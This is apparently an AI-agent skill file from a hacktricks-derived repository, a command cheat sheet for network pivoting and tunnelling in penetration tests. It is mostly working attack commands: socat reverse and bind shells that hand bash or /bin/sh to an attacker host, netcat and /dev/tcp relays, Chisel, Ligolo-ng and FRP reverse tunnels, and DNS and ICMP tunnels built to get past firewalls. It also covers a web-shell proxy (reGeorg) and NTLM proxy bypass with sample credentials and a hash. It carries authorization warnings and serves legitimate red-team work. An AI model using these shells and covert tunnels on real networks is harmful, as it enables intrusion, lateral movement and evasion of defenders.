Hacktricks-skills network-tunneling

Network tunneling and port forwarding techniques for authorized security assessments. Use this skill when you need to pivot through networks, forward ports, create SOCKS proxies, or establish covert channels during penetration testing, red teaming, or security research. Covers SSH tunneling, Meterpreter/Cobalt Strike pivoting, DNS/ICMP tunneling, and modern tools like Chisel, Ligolo-ng, and FRP. Make sure to use this skill whenever the user mentions pivoting, port forwarding, SOCKS proxy, network tunneling, SSH tunnel, or needs to access internal networks through compromised hosts.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/generic-hacking/tunneling-and-port-forwarding/SKILL.MD
source content

Network Tunneling and Port Forwarding

⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized network access is illegal.

Quick Reference

TechniqueUse CaseTool
SSH Local ForwardAccess internal port via compromised host
ssh -L
SSH Remote ForwardExpose local service to remote
ssh -R
SSH Dynamic (SOCKS)Full proxy through compromised host
ssh -D
Meterpreter Port ForwardPivot from active session
portfwd add
ChiselHigh-performance reverse tunnel
chisel
Ligolo-ngAdvanced pivoting with TUN interface
ligolo-ng
DNS TunnelBypass firewalls via DNS
iodine
,
dnscat2
ICMP TunnelBypass via ping
hans
,
ptunnel-ng
ngrok/CloudflaredExpose local services to internet
ngrok
,
cloudflared
FRPReverse proxy with SSH gateway
frp

SSH Tunneling

Nmap Through SOCKS Proxy

⚠️ Important: ICMP and SYN scans cannot be tunneled through SOCKS proxies. Disable ping discovery and use TCP scans:

proxychains nmap -n -Pn -sT -p445,3389,5985 <target>

Local Port Forwarding (Port2Port)

Forward local port through compromised host to target:

# Syntax
ssh -i ssh_key <user>@<compromised_ip> -L <local_port>:<target_ip>:<target_port> [-p <ssh_port>] [-N -f]

# Example: Forward local 631 to victim's 631 through compromised host
sudo ssh -L 631:<victim_ip>:631 -N -f -l <username> <compromised_ip>

Remote Port Forwarding

Expose a port on the compromised host back to your machine:

# Local port 1521 accessible on port 10521 from everywhere
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1

# Remote port 1521 accessible on port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1

Dynamic SOCKS Proxy

Create a SOCKS proxy through the compromised host:

ssh -f -N -D <local_port> <username>@<compromised_ip>
# Then configure proxychains to use 127.0.0.1:<local_port>

Reverse Port Forwarding (DMZ to Internal)

Get reverse shells from internal hosts through a DMZ:

ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now send reverse shell to dmz_internal_ip:443, capture on localhost:7000
# Requires GatewayPorts yes in /etc/ssh/sshd_config

SSH VPN Tunnel

Create a TUN interface for full network routing (requires root on both ends):

# SSH config must have: PermitRootLogin yes, PermitTunnel yes
ssh root@server -w any:any  # Creates tun0 on both sides

# Client side
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
ip link set tun0 up

# Server side
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
ip link set tun0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

# Add route on client
route add -net 10.0.0.0/16 gw 1.1.1.1

SSHuttle

Tunnel all traffic to a subnet through a host:

pip install sshuttle
sshuttle -r user@host 10.10.10.0/24

# With private key, daemon mode
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'

⚠️ Security Note (CVE-2023-48795): The Terrapin downgrade attack can tamper with SSH handshakes. Ensure OpenSSH ≥ 9.6 or disable vulnerable ciphers (

chacha20-poly1305@openssh.com
,
*-etm@openssh.com
).

Meterpreter Pivoting

Port Forwarding

# Inside meterpreter session
portfwd add -l <local_port> -p <remote_port> -r <remote_host>
portfwd del -l <local_port>  # Remove
portfwd  # List all forwards

SOCKS Proxy

background  # Background the session
route add <target_subnet> <netmask> <session_id>
use auxiliary/server/socks_proxy
run  # Listens on 127.0.0.1:1080

# Configure proxychains
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf

Autoroute Module

background
use post/multi/manage/autoroute
set SESSION <session_id>
set SUBNET 10.1.13.0
set NETMASK 255.255.255.0
run

Cobalt Strike

SOCKS Proxy

beacon> socks 1080
[+] started SOCKS4a server on: 1080

# Use with proxychains
proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25

Reverse Port Forwarding

# Traffic goes: Beacon Host → Team Server → Target
rportfwd [bind_port] [forward_host] [forward_port]
rportfwd stop [bind_port]

# Traffic goes: Beacon Host → CS Client → Target
rportfwd_local [bind_port] [forward_host] [forward_port]
rportfwd_local stop [bind_port]

Chisel

High-performance reverse proxy (use same version for client/server):

SOCKS Mode

# Attacker (server)
./chisel server -p 8080 --reverse

# Victim (client)
./chisel client <attacker_ip>:8080 R:socks
# Now use proxychains with 127.0.0.1:1080

Port Forwarding

# Attacker
./chisel server -p 12312 --reverse

# Victim
./chisel client <attacker_ip>:12312 R:4505:127.0.0.1:4505
# Access victim's 4505 via attacker's 4505

Ligolo-ng

Advanced pivoting with TUN interface support:

Basic Tunnel

# Attacker - Start proxy
sudo ./proxy -selfcert
interface_create --name "ligolo"
certificate_fingerprint  # Note the fingerprint

# Victim - Connect agent
./agent -connect <attacker_ip>:11601 -v -accept-fingerprint <fingerprint>

# Attacker - Manage session
session
1  # Select agent
tunnel_start --tun "ligolo"
ifconfig
interface_add_route --name "ligolo" --route <network>/<netmask>

Port Forwarding

# Forward agent's port 30000 to attacker's 10000
listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp
listener_list

# Access agent's local services
interface_add_route --name "ligolo" --route 240.0.0.1/32

Rpivot

Reverse tunnel with SOCKS proxy (127.0.0.1:1080):

# Attacker
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080

# Victim
python client.py --server-ip <attacker_ip> --server-port 9999

# Through NTLM proxy
python client.py --server-ip <attacker_ip> --server-port 9999 \
  --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
  --domain CONTOSO.COM --username Alice --password P@ssw0rd

# With hashes
python client.py --server-ip <attacker_ip> --server-port 9999 \
  --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 \
  --domain CONTOSO.COM --username Alice \
  --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45

Socat

Bind Shell

# Victim
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

# Attacker
socat FILE:`tty`,raw,echo=0 TCP4:<victim_ip>:1337

Reverse Shell

# Attacker
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

# Victim
socat TCP4:<attacker_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Port Forwarding

socat TCP4-LISTEN:<local_port>,fork TCP4:<target_ip>:<target_port> &

# Through SOCKS
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678

SSL Tunnel

# Generate certificates (both sides)
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem

# Attacker
socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh

# Victim
socat STDIO OPENSSL-CONNECT:<attacker_ip>:433,cert=client.pem,cafile=server.crt

Windows Tools

Netsh Port Proxy

# Create forward (requires local admin)
netsh interface portproxy add v4tov4 \
  listenaddress=0.0.0.0 listenport=4444 \
  connectaddress=10.10.10.10 connectport=4444

# List forwards
netsh interface portproxy show v4tov4

# Delete forward
netsh interface portproxy delete v4tov4 \
  listenaddress=0.0.0.0 listenport=4444

Plink (Windows SSH Client)

# Reverse port forward from victim to attacker
echo y | plink.exe -l <username> -pw <password> \
  -R <attacker_port>:<next_ip>:<final_port> <attacker_ip>

# Example
echo y | plink.exe -l root -pw password -R 9090:127.0.0.1:9090 10.11.0.41

SocksOverRDP

# Attacker - Register plugin
regsvr32.exe SocksOverRDP-Plugin.dll

# Connect via RDP (mstsc.exe), plugin listens on 127.0.0.1:1080

# Victim - Run server
SocksOverRDP-Server.exe

# Verify on attacker
netstat -antb | findstr 1080

# Configure Proxifier to use 127.0.0.1:1080

DNS Tunneling

Iodine

# Attacker
iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com

# Victim
iodine -f -P P@ssw0rd tunneldomain.com -r
# Victim accessible at 1.1.1.2

# Compressed SSH through tunnel
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080

DNSCat2

# Attacker
ruby ./dnscat2.rb tunneldomain.com

# Victim
./dnscat2 tunneldomain.com

# Internal network CTF
ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
./dnscat2 --dns host=10.10.10.10,port=5353

# PowerShell
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd

# Port forwarding
session -i <session_id>
listen 127.0.0.1:8080 10.0.0.20:80

ICMP Tunneling

Hans

# Attacker (server)
./hans -v -f -s 1.1.1.1 -p P@ssw0rd

# Victim (client)
./hans -f -c <attacker_ip> -p P@ssw0rd -v

# After connection, victim is at 1.1.1.100
ping 1.1.1.100

ptunnel-ng

# Victim (server - must receive ICMP)
sudo ptunnel-ng

# Attacker (client)
sudo ptunnel-ng -p <victim_ip> -l 2222 -r 127.0.0.1 -R 22

# SSH through ICMP tunnel
ssh -p 2222 -l user 127.0.0.1

# SOCKS through ICMP tunnel
ssh -D 9050 -p 2222 -l user 127.0.0.1

Cloud-Based Tunnels

ngrok

# TCP tunnel
./ngrok tcp 4444
# Result: 0.tcp.ngrok.io:12345

# HTTP file server
./ngrok http file:///tmp/httpbin/

# Internal HTTP service
./ngrok http localhost:8080 --host-header=rewrite
./ngrok http localhost:8080 --auth="user:pass"

# Configuration (ngrok.yaml)
tunnels:
  mytcp:
    addr: 4444
    proto: tcp
  httpstatic:
    proto: http
    addr: file:///tmp/httpbin/

Cloudflared

# Quick tunnel
cloudflared tunnel --url http://localhost:8080
# Result: https://<random>.trycloudflare.com

# SOCKS5 proxy
cloudflared tunnel --url socks5://localhost:1080 --socks5

# Persistent tunnel
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
cloudflared tunnel run mytunnel

FRP (Fast Reverse Proxy)

# Attacker (frps)
./frps -c frps.toml  # Listens on 0.0.0.0:7000

# Victim (frpc)
./frpc -c frpc.toml

# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000

[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000

# SSH Gateway (v0.53+, no frpc needed)
# frps.toml: sshTunnelGateway.bindPort = 2200
# Victim:
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000

Bash Port Forwarding

Multi-hop Forwarding

# Jump server: connect port 3333 to 5985
mknod backpipe p
nc -lvnp 5985 0<backpipe | nc -lvnp 3333 1>backpipe

# InternalA (accessible from Jump, can reach InternalB)
exec 3<>/dev/tcp/internalB/5985
exec 4<>/dev/tcp/Jump/3333
cat <&3 >&4 &
cat <&4 >&3 &

# From host, access InternalB via Jump
evil-winrm -u username -i Jump

reGeorg

Web-based tunneling (upload web shell first):

python reGeorgSocksProxy.py -p 8080 -u http://victim:8080/tunnel/tunnel.jsp
# Supports: .ashx, .aspx, .js, .jsp, .php

NTLM Proxy Bypass

Cntlm

# /etc/cntlm.conf
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attacker_ip>:443

# Now SSH to localhost:2222 goes through NTLM proxy to attacker:443

OpenVPN

# In openvpn.conf
http-proxy <proxy_ip> 8080 <creds_file> ntlm

Bash Helper Scripts

See

scripts/
directory for:

  • ssh-tunnel-config.sh
    - Generate SSH tunnel configurations
  • proxychains-config.sh
    - Configure proxychains for various proxies
  • socat-tunnel.sh
    - Quick socat tunnel setup

Best Practices

  1. Always verify authorization before testing
  2. Document all pivots for reporting
  3. Use encrypted tunnels (SSH, SSL) when possible
  4. Clean up temporary forwards and tunnels
  5. Test connectivity after establishing tunnels
  6. Consider performance - some tunnels are slow (DNS, ICMP)
  7. Check for Terrapin vulnerability in SSH versions
  8. Use appropriate tools for the scenario:
    • SSH: When SSH access exists
    • Meterpreter: Active sessions
    • Chisel/Ligolo: High-performance needs
    • DNS/ICMP: When only those protocols allowed
    • Cloud tunnels: When egress is restricted

Troubleshooting

IssueSolution
SSH tunnel failsCheck
GatewayPorts yes
in sshd_config
Proxychains not workingVerify proxy type (socks4/socks5/http)
Slow DNS tunnelUse compression:
ssh -C -c blowfish-cbc
ICMP blockedTry DNS tunneling instead
Port already in useUse different local port
Certificate errorsRegenerate certs or disable verification

References